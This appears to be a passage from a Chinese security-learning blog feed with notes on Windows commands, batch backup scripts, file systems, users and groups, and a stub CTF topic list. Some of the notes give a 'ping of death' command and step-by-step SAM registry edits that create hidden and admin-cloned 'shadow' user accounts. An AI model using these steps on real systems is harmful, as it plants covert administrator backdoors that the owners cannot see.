&lt;pre&gt;&lt;code&gt;ping
TTL值 --- 存活时间
大致判断对方主机操作系统类型：
255   Unix
128   Windows NT /2000
64    Windows 7 / Linux
32    Windows 95 / 98

修改TTL值：
regedit --注册表
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Tcpip\Parameters
键值“DefaultTTL” ---》 新建 Dword 32位 ---》改成十进制 255 重启

死亡ping
ping 192.168.63.129 -t -l 65500
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;tracert  www.baidu.com  //能够遍历数据包传输路径上的所有路由器
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;nslookup 解析域名
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;C:\Users\int_and_d&amp;gt;
      当前所在路径
C盘 ---- 盘符
/ --- 根目录
dir  --- 查看当前目录下的内容
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;cd 切换目录&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;cd . //切换当前目录
cd ..  //切换上一级目录
cd ..\.. //切换上一级的上一级目录

绝对路径：从根目录（盘符）出发
cd /d C:\Users\int_and_d\Desktop
相对路径：从当前目录出发
cd int_and_d\Desktop

D:  切换到对应的盘符
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;创建、删除文件&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt;  重定向符
&amp;gt;&amp;gt;  追加重定向符
echo 123 &amp;gt; 1.txt  创建带有内容的文件
echo 123 &amp;gt;&amp;gt; 1.txt  追加内容
type 文件名  查看文件内容
type nul &amp;gt;文件名   创建空文件

del 文件名 //删除文件
del 目录名 //删除当前文件夹内的所有文件
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;创建、删除目录&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;md 目录名     //创建目录
mkdir 目录名   //创建目录
mkdir 1\2\3   //创建多级目录
md 1\2\3   //创建多级目录

rd 目录名   //删除空目录
rmdir 目录名   //删除空目录
rd /s /q 目录名  //删除目录
rmdir /s /q 目录名  //删除目录
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;移动、复制和重命名文件&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;move 旧文件名 新文件名  //移动文件并重命名
ren 旧文件名 新文件名  //重命名
rename 旧文件名 新文件名  //重命名

copy 旧文件名 新文件名  //复制粘贴文件并重命名
copy 1.txt + 2.txt 3.txt   //将1和2的内容合并成3
copy 目录名 文件名 //把目录下的所以文件内容复制到一个文件
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;进程&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;tasklist 查看进程
tasklist | find &quot;QQ&quot;  //查看进程并筛选内容

explorer.exe   //桌面进程
taskkill /pid 进程号 /t /f  强制终止并且关闭该进程的子进程和父进程
taskkill /im 进程名 /t /f  强制终止并且关闭该进程的子进程和父进程
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;net user&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;查看当前系统有哪些用户
net user 用户名 密码 /add //创建用户
net user 用户名 /del //删除用户
net user 用户名 /active:yes //启用用户
net user 用户名 /active:no  //禁用用户
net user 用户名 密码  //修改密码

net localgroup  //查看组信息
net localgroup 组名  //查看对应组信息
net localgroup 组名 /add   //创建组
net localgroup 组名 /del   //删除组
net localgroup 组名 用户名 /add  //将用户添加到组
net localgroup 组名 用户名 /del  //将用户从组中删除
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;3 Windows常用服务命令&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;compmgmt.msc   计算机管理
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;eventvwr.msc   事件查看器
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;services.msc   系统服务

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services  系统服务注册表项 ---- 选择需要修改的服务 ---- 在修改start键值

Start的值设置为0，则驱动由启动引导器加载，“随着开机，最先启动”
Start的值设置为1，则驱动由操作系统的I/0子系统加载，即在系统内核初始化时加载;
Start的值设置为2，则驱动/服务在启动后自动加载;
Start的值设置为3，则驱动/服务就是按需手动加载;
Start的值设置为4，驱动/服务就是被禁用的状态。
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;gpedit.msc     组策略编辑器
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;secpol.msc     本地安全策略
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;lusrmgr.msc    本地用户和组
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;regedit  注册表

五个根键：
HKEY_CLASSES_ROOT：启动应用程序所需的全部信息
☆HKEY_CURRENT_USER：当前登录用户的配置信息，仅对当前用户生效
☆HKEY_LOCAL_MACHINE：本地计算机的系统信息，仅对当前主机生效
HKEY_USERS：计算机所有用户使用的配置数据，这些数据只有在用户登录的情况下才能访问
HKEY_CURRENT_CONFIG：当前硬件配置的文件信息
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;4 批处理文件&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;bat脚本 --- batch脚本，批处理文件，是Windows系统默认支持的脚本语言，即dos编程
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;@echo off
内容
pause


@echo off  // 关闭终端回显内容
pause //暂停
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;1）定时备份脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1.备份日志文件
日志---》事件查看器 ---》eventvwr.msc
C:\Windows\System32\winevt\Logs  //存储日志文件的路径
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;set&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;设置自定义变量

set //可以直接打印出变量

set 变量名=变量值
@echo off
set var=我是值
echo %var%
pause

set 变量名=   //取消变量
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;字符串截取&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;a=bbs.verybat.cn
%a:~1,2%   ＝“bs” 偏移量 1，从第二位开始向右取 2 位
%a:~-3%    ＝“.cn” 偏移量负 3，即倒数 3 位（也可理解为留下右边 3 位），右取全部
%a:~3%     ＝“.verybat.cn” 偏移量 3（也可理解为去掉左边 3 位），右取全部
%a:~0,-3%  ＝“bbs.verybat” 偏移量 0，右取长度至负 3，即倒数 3 位
%a:~2,-3%  ＝“s.verybat” 偏移量 2，右取长度至负 3，即倒数 3 位


set &quot;Y=%date:~,4%&quot;
set &quot;m=%date:~5,2%&quot;
set &quot;d=%date:~8,2%&quot;
set &quot;h=%time:~,2%&quot;
set &quot;mi=%time:~3,2%&quot;
set &quot;s=%time:~6,2%&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;if 语句&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;IF [NOT] EXIST filename command

if not exist &quot;C:\windows_log_bak\bak_%Y%-%m%-%d%_%h%时\&quot; (mkdir &quot;C:\windows_log_bak\bak_%Y%-%m%-%d%_%h%时\&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;xcopy&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;备份
xcopy /E /I /Y /H &quot;C:\Windows\System32\winevt\Logs&quot;  &quot;C:\windows_log_bak\bak_%Y%-%m%-%d%_%h%时\&quot;  

/E 复制目录和子目录，包括空目录和空子目录
/I 如果目标不存在，且正在复制多个文件，则假定目标必须为目录。
/Y 取消提示以确认要覆盖现有目标文件。
/H 同时复制隐藏文件和系统文件。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;forfiles&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;forfiles /p &quot;C:\windows_log_bak&quot; /s /m *.* /d -180 /c &quot;cmd /c if @isdir==FALSE (echo Deleting @path &amp;amp; del @path)&quot;

/P    pathname   表示开始搜索的路径。默认文件夹是当前工作的目录 (.)。
/M    searchmask 根据搜索掩码搜索文件。默认搜索掩码是 &apos;*&apos;。
/S   指导 forfiles 递归到子目录。像 &quot;DIR /S&quot;。
/d   时间   -180  是否在180天内
/c   对检索出来符合条件的文件进行操作
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;for语句&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;/D 参数只能显示当前目录下的目录名字
set TARGET_DIR=C:\windows_log_bak

for /d %%i in (&quot;%TARGET_DIR%\bak_*&quot;) do (
    dir &quot;%%i&quot; | findstr &quot;.evtx&quot; &amp;gt; nul
    if errorlevel 1 (
        echo 正在删除 %%i 文件夹..
        rd &quot;%%i&quot;
    ) else (
        echo %%i 该文件夹不为空，skipping...
    )
)

| 管道符   //将前面命令的输出结果作为后面命令的输入
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;2）清理临时文件脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;title   //修改窗口名称
echo.   //显示空行
::   //注释   rem
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;预定义的变量&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;变量名&lt;/th&gt;
&lt;th&gt;值&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;%cd%&lt;/td&gt;
&lt;td&gt;当前目录&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;%date%&lt;/td&gt;
&lt;td&gt;当前日期&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;%time%&lt;/td&gt;
&lt;td&gt;当前时间&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;%random%&lt;/td&gt;
&lt;td&gt;0~32767之间的随机数&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;%path%&lt;/td&gt;
&lt;td&gt;环境变量&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;%COMPUTERNAME%&lt;/td&gt;
&lt;td&gt;返回计算机的名称&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;%OS%&lt;/td&gt;
&lt;td&gt;返回操作系统名称&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;%USERNAME%&lt;/td&gt;
&lt;td&gt;返回当前登录的用户的名称&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;%WINDIR%&lt;/td&gt;
&lt;td&gt;返回操作系统目录的位置&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;3）启动/停止服务脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;net start server
net stop server

echo y //自动回复确认
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;定时任务创建&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1.搜索“任务计划程序”  /   taskschd.msc
2.创建基本任务
3.属性 ---》 最高权限运行
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Windows 文件系统、用户和组</title><link>https://wangyi187.top/posts/os-04-windows-fs-users/</link><guid isPermaLink="true">https://wangyi187.top/posts/os-04-windows-fs-users/</guid><description>Windows文件系统、用户和组 1 文件系统 1.1 文件系统介绍 文件属性 文件分类 1.2 常见的文件系统 1.3 硬盘介绍 硬盘结构： ​ 控制电路板 ​ 盘体 关键术语 </description><pubDate>Wed, 10 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Windows文件系统、用户和组&lt;/h1&gt;
&lt;h2&gt;1 文件系统&lt;/h2&gt;
&lt;h3&gt;1.1 文件系统介绍&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;定义：操作系统用于明确存储设备（磁盘、固态硬盘等）或分区上的文件的方法和数据结构。操作系统中负责管理和存储文件信息的软件机构称为文件管理系统，简称文件系统。（组织文件的方法）

文件系统的功能包括：
管理和调度文件的存储空间，提供文件的逻辑结构、物理结构和存储方法;
实现文件从标识到实际地址的映射，实现文件的控制操作和存取操作等。
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;h4&gt;文件属性&lt;/h4&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;文件类型
文件大小
文件的时间
文件的物理位置
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;h4&gt;文件分类&lt;/h4&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;按用途分类：系统文件、用户文件、库文件
按数据形式分类：源文件、目标文件、可执行文件
按存储控制属性分类：只执行文件、只读文件、读写文件
按组织和处理分类：普通文件、目录文件、特殊文件
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;1.2 常见的文件系统&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;日志文件系统：NTFS --- Windows特有
FAT 16:只支持单个2GB以下的文件
FAT 32:只支持单个4GB以下的文件
exFAT：专门为闪存设备设计  u盘
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Windows 操作系统的文件系统数据存储单元 --- 簇
Linux 操作系统的文件系统数据存储单元 --- 块
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;1.3 硬盘介绍&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;机械、固态
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;硬盘结构：&lt;/h4&gt;
&lt;p&gt;​	控制电路板&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;控制电路板由接口、DSP处理器、ROM、缓存等等
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;​	盘体&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;磁盘（盘片）、磁头、盘片电机等等
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;关键术语&lt;/h4&gt;
&lt;p&gt;盘片&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1.每个磁盘都不止一个盘片
2.每个盘片都有两个盘面
3.编号自上而下 从0开始
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;读写磁头&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1.每个盘面上一个读写磁头，盘面号即磁头号
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;磁道&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1.每个盘面分成很多个同心圆，同心圆轨迹叫磁道
2.编号从外到内 0
3.每个盘面大约有300-1024磁道
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;扇区（数据存储）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;操作系统是以扇区的形式将信息存储在磁盘上
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;柱面（数据读写）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;所有盘面上同一磁道构成了一个圆柱，通常叫柱面
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;簇&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;操作系统将相邻的扇区组合在一起，形成一个簇。每个簇可以包括 2 4 8 16 32 64 扇区
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;exFAT&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;exFAT (Extended File Allocation Table File System,扩展FAT,即扩展文件分配表) 

✓ 为了解决FAT32等不支持4G及其更大的文件而推出。是微软专门为闪存设备设计的文件系统，Windows XP SP2、Windows Vista SP 1 及以上系统都支持，分区最大容量大到16EB。
✓ 单文件体积最大16EB，簇尺寸可以达到32MB。
✓ exFAT别名为FAT64,适用范围为大于32GB的U盘、SD卡。设计的目的是在FAT32与NTFS之间取得一个折中，有FAT32的轻便、不需要耗损太多的效能及记忆体来处理文件运作，又有NTFS的AA存取控制机制。
✓ 三大主流操作系统(Linux、 Mac、 Windows) 都支持exFAT格式。
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;NTFS&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;定义：NTFS（New Technology File System），NTFS文件系统是一个基于安全性的文件系统，是Windows NT所采用的独特的文件系统结构。它是建立在保护文件和目录数据基础上，同时照顾节省存储资源、减少磁盘占用量的一种先进的文件系统。提供长文件名、数据保护和恢复，能通过目录和文件许可实现安全性，并支持跨越分区。
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;共享：
UNC 路径：\\192.168.63.145 ---- IPC管道通信
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;NTFS和exFAT的区别&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;适用范围不同
exFAT：适合于闪存盘（U盘），使用寿命长。 
NTFS：适合于磁盘（机械硬盘、固态硬盘），大幅度缩短U盘使用寿命。

支持最大空间不同
exFAT：最大支持16EB。 
NTFS：最大支持256TB。

安全性不同
exFAT：微软专为闪存（U盘、存储卡）闪存设备设计的文件系统，兼容性好。 
NTFS：安全性和易用性、稳定性好。

使用系统不同
exFAT：Windows、Linux、Mac均可适用。 
NTFS：除Windows不可直接使用，需借助第三方软件才可写NTFS文件系统。
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;访问控制&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;权限继承
- 默认情况下继承父目录权限 --- 取消继承才能够修改文件权限
权限累加
- 用户组和用户
拒绝优先
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;2 系统目录&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;Programdata是位于电脑系统盘（默认C盘）根目录的一个系统文件夹，它是公用的被创建文件夹或文件存放的地方，多为软件缓存，这些文件夹或文件由程序或管理员用户控制。
- 打开隐藏可视
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;1、系统应用程序安装路径（系统应用程序）
Program Files主要存在于系统盘中，属于系统应用程序的安装路径，例如我们熟悉的系统自带的浏览器、驱动程序等都安装在这个路径中。注意：删不得！
2、逻辑分区中的应用程序安装路径（用户自主安装应用程序）
在非系统分区的其他逻辑分区中的Proram Files是用户安装的应用程序使用的路径（文件夹）。当然，不是每个用户都习惯把用户自己安装的应用程序都放在逻辑分区中，也有一股脑都放在系统盘的Program Files中的。
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;C:\Windows\System32\config\SAM
SAM文件即账号密码数据库文件
lsass.exe --- 是校验账户的进程 通过sam文件校验
winlogon.exe --- 登录框进程
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;C:\Windows\System32\drivers\etc\hosts
域名解析文件
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;3 用户和组&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;Administrator：管理员账户
Guest：来宾账户，权限非常小，下载的文件保存不了。
计算机服务组件相关的系统账号：
➢ system：系统账户（权限非常高）
➢ local services：本地服务账户（权限等于普通用户）
➢ network services：网络服务账户（权限等于普通用户）
services.msc：打开的窗口就是服务
窗口，每一个服务都需要一个账户来
管理。
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;users组 --- 默认创建出来的用户都是加入到users组
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3.1 创建隐藏用户和影子用户&lt;/h3&gt;
&lt;h4&gt;隐藏用户&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;标识 ---- 用户名结尾有$ ---- 隐藏用户
1.创建一个隐藏用户
net user www$ 123456 /add
2.导出隐藏用户的注册表信息文件
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names  --- 用户信息
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users --- 默认类型值信息

HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003EB 导出为1
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\www$ 导出为2
3.删除隐藏用户
net user www$ /del
4.导入隐藏用户的注册表信息文件
先导入1 再 导入 2
5.使用
①打开交互式登录：不显示最后的用户名 启用
secpol.msc --》 本地策略 --》安全选项
②远程连接
net localgroup administrators www$ /add
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;影子用户&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;在隐藏用户的基础上操作
1.导出管理员默认类型值注册表文件为3
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4 --- 》 3
2.将1的F值换成3的F值
3.再导入1和2
4.解禁隐藏用户
net user www$ /active:yes
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Windows 服务器基础运维（一）</title><link>https://wangyi187.top/posts/os-02-windows-ops-1/</link><guid isPermaLink="true">https://wangyi187.top/posts/os-02-windows-ops-1/</guid><description>Windows服务器基础运维 1 DOS命令行窗口 1.1 概念 1.2 打开方式 1.3 命令类型 2 Windows运维常用命令 cd 切换目录 创建、删除文件 创建、删除目录</description><pubDate>Sun, 07 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Windows服务器基础运维&lt;/h1&gt;
&lt;h2&gt;1 DOS命令行窗口&lt;/h2&gt;
&lt;h3&gt;1.1 概念&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;1.什么是命令行？
命令行就是在Windows操作系统中打开DOS窗口，以字符串的形式执行Windows管理程序。
2.什么是DOS？
DOS(Disk Operation System 磁盘操作系统)，DOS系统目前已经没有什么人使用了，但是dos命令却依然存在于我们使用的windows系统之中。大部分的DOS命令都已经在Windows里变成了可视化的界面，但是有一些高级的DOS命令还是要在DOS环境下来执行。所以学习命令行对于我们熟练操作Windows系统是很有必要的。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;1.2 打开方式&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;1.win+r    cmd
2.搜索   cmd
3.路径框位置输入  cmd
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;1.3 命令类型&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;内部命令:内部存在

外部命令:程序外加用法
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;2 Windows运维常用命令&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;注意点：
1.不区分大小写
2.命令 参数列表
3.使用&apos;/?&apos;查看命令用法
4.上下键查看历史命令
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;ver   //查看系统版本
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;hostname   //查看主机名
whoami   //用户名
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;ipconfig   //查看网络配置
/all   查看详细信息
/release  释放连接
/renew  更新当前网络
/flushdns   清除 DNS 解析程序缓存。

netstat -ano  //查看开发端口
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;ping
TTL值 --- 存活时间
大致判断对方主机操作系统类型：
255   Unix
128   Windows NT /2000
64    Windows 7 / Linux
32    Windows 95 / 98

修改TTL值：
regedit --注册表
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Tcpip\Parameters
键值“DefaultTTL” ---》 新建 Dword 32位 ---》改成十进制 255 重启

死亡ping
ping 192.168.63.129 -t -l 65500
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;tracert  www.baidu.com  //能够遍历数据包传输路径上的所有路由器
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;nslookup 解析域名
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;C:\Users\int_and_d&amp;gt;
      当前所在路径
C盘 ---- 盘符
/ --- 根目录
dir  --- 查看当前目录下的内容
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;cd 切换目录&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;cd . //切换当前目录
cd ..  //切换上一级目录
cd ..\.. //切换上一级的上一级目录

绝对路径：从根目录（盘符）出发
cd /d C:\Users\int_and_d\Desktop
相对路径：从当前目录出发
cd int_and_d\Desktop

D:  切换到对应的盘符
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;创建、删除文件&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt;  重定向符
&amp;gt;&amp;gt;  追加重定向符
echo 123 &amp;gt; 1.txt  创建带有内容的文件
echo 123 &amp;gt;&amp;gt; 1.txt  追加内容
type 文件名  查看文件内容
type nul &amp;gt;文件名   创建空文件

del 文件名 //删除文件
del 目录名 //删除当前文件夹内的所有文件
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;创建、删除目录&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;md 目录名     //创建目录
mkdir 目录名   //创建目录
mkdir 1\2\3   //创建多级目录
md 1\2\3   //创建多级目录

rd 目录名   //删除空目录
rmdir 目录名   //删除空目录
rd /s /q 目录名  //删除目录
rmdir /s /q 目录名  //删除目录
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;移动、复制和重命名文件&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;move 旧文件名 新文件名  //移动文件并重命名
ren 旧文件名 新文件名  //重命名
rename 旧文件名 新文件名  //重命名

copy 旧文件名 新文件名  //复制粘贴文件并重命名
copy 1.txt + 2.txt 3.txt   //将1和2的内容合并成3
copy 目录名 文件名 //把目录下的所以文件内容复制到一个文件
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;进程&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;tasklist 查看进程
tasklist | find &quot;QQ&quot;  //查看进程并筛选内容

explorer.exe   //桌面进程
taskkill /pid 进程号 /t /f  强制终止并且关闭该进程的子进程和父进程
taskkill /im 进程名 /t /f  强制终止并且关闭该进程的子进程和父进程
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;net user&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;查看当前系统有哪些用户
net user 用户名 密码 /add //创建用户
net user 用户名 /del //删除用户
net user 用户名 /active:yes //启用用户
net user 用户名 /active:no  //禁用用户
net user 用户名 密码  //修改密码

net localgroup  //查看组信息
net localgroup 组名  //查看对应组信息
net localgroup 组名 /add   //创建组
net localgroup 组名 /del   //删除组
net localgroup 组名 用户名 /add  //将用户添加到组
net localgroup 组名 用户名 /del  //将用户从组中删除
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;3 Windows常用服务命令&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;compmgmt.msc   计算机管理
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;eventvwr.msc   事件查看器
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;services.msc   系统服务

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services  系统服务注册表项 ---- 选择需要修改的服务 ---- 在修改start键值

Start的值设置为0，则驱动由启动引导器加载，“随着开机，最先启动”
Start的值设置为1，则驱动由操作系统的I/0子系统加载，即在系统内核初始化时加载;
Start的值设置为2，则驱动/服务在启动后自动加载;
Start的值设置为3，则驱动/服务就是按需手动加载;
Start的值设置为4，驱动/服务就是被禁用的状态。
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;gpedit.msc     组策略编辑器
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;secpol.msc     本地安全策略
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;lusrmgr.msc    本地用户和组
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;regedit  注册表

五个根键：
HKEY_CLASSES_ROOT：启动应用程序所需的全部信息
☆HKEY_CURRENT_USER：当前登录用户的配置信息，仅对当前用户生效
☆HKEY_LOCAL_MACHINE：本地计算机的系统信息，仅对当前主机生效
HKEY_USERS：计算机所有用户使用的配置数据，这些数据只有在用户登录的情况下才能访问
HKEY_CURRENT_CONFIG：当前硬件配置的文件信息
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;4 批处理文件&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;bat脚本 --- batch脚本，批处理文件，是Windows系统默认支持的脚本语言，即dos编程
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>CTF 学习笔记</title><link>https://wangyi187.top/posts/ctf-note/</link><guid isPermaLink="true">https://wangyi187.top/posts/ctf-note/</guid><description>CTF题型 一、Basic 二、Crypto 密码学 三、DASBOOK 四、Misc 杂项 五、N1BOOK 六、Pwn 七、Real 八、Reverse 逆向 九、Web 1、</description><pubDate>Wed, 19 Jun 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;CTF题型&lt;/h1&gt;
&lt;hr /&gt;
&lt;h2&gt;一、Basic&lt;/h2&gt;
&lt;h2&gt;二、Crypto(密码学)&lt;/h2&gt;
&lt;h2&gt;三、DASBOOK&lt;/h2&gt;
&lt;h2&gt;四、Misc(杂项)&lt;/h2&gt;
&lt;h2&gt;五、N1BOOK&lt;/h2&gt;
&lt;h2&gt;六、Pwn&lt;/h2&gt;
&lt;h2&gt;七、Real&lt;/h2&gt;
&lt;h2&gt;八、Reverse(逆向)&lt;/h2&gt;
&lt;h2&gt;九、Web&lt;/h2&gt;
&lt;h3&gt;1、[极客大挑战 2019]EasySQL&lt;/h3&gt;
&lt;p&gt;https://blog.csdn.net/m0_62239233/article/details/132916255&lt;/p&gt;
